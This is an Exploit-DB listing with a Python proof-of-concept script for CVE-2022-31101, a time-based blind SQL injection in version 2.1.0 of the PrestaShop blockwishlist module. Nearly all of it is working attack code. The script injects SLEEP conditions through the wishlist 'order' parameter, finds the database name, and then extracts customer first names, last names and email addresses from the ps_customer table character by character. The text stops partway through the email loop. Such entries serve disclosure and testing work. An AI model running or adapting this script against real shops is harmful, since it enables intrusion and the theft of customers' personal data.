Exploit-DB #51001
Description: Prestashop blockwishlist module 2.1.0 - SQLi
Type: webapps
Platform: php
Date: 2022-08-09
Author: Karthik UJ

Exploit:
# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101


# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop

import requests

url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")

header = {
    "Cookie": cookie
}

# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz[PII_REDACTED]_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)


# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
    condition = "LENGTH(database())=" + str(length)
    fullUrl = url + param + staticStart + condition + staticEnd

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
    except requests.exceptions.Timeout:
        dbLength=length
        print("Length: ", length, end='')
        print("\n")
        break

print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
    for char in charset:
        condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
        fullUrl = url + param + staticStart + condition + staticEnd

        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            print(char, end='')
            databaseName += char
            break
print()

# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"

print("\nEnumerating " + tableName + " table")

for id in range(1, 10):

    condition = "id_customer=" + str(id)
    fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

    try:
        req = requests.get(fullUrl, headers=header, timeout=8)
        print("\nOnly " + str(id - 1) + " records found. Exiting...")
        break
    except requests.exceptions.Timeout:
        pass

    print("\nid = " + str(id))

    # Finding firstname length
    for length in range(0, 100):
        condition = "LENGTH(firstname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            firstnameLength=length
            print("Firstname length: ", length, end='')
            print()
            break
        
    
    # Enumerate firstname
    firstname = ''
    print("Firstname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding lastname length
    for length in range(1, 100):
        condition = "LENGTH(lastname)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            lastnameLength=length
            print("Lastname length: ", length, end='')
            print()
            break
    
    # Enumerate lastname
    lastname = ''
    print("Lastname: ", end='')
    for i in range(1, length+1):
        for char in charset:
            condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
            except requests.exceptions.Timeout:
                print(char, end='')
                firstname += char
                break
    print()

    # Finding email length
    for length in range(1, 320):
        condition = "LENGTH(email)=" + str(length)
        fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
        
        try:
            req = requests.get(fullUrl, headers=header, timeout=8)
        except requests.exceptions.Timeout:
            emailLength=length
            print("Email length: ", length, end='')
            print()
            break    

    # Enumerate email
    email = ''
    print("Email: ", end='')
    for i in range(1, length+1):
        for char in emailCharset:
            condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
            fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2

            try:
                req = requests.get(fullUrl, headers=header, timeout=8)
                if req.status_code == 500 and char == '.':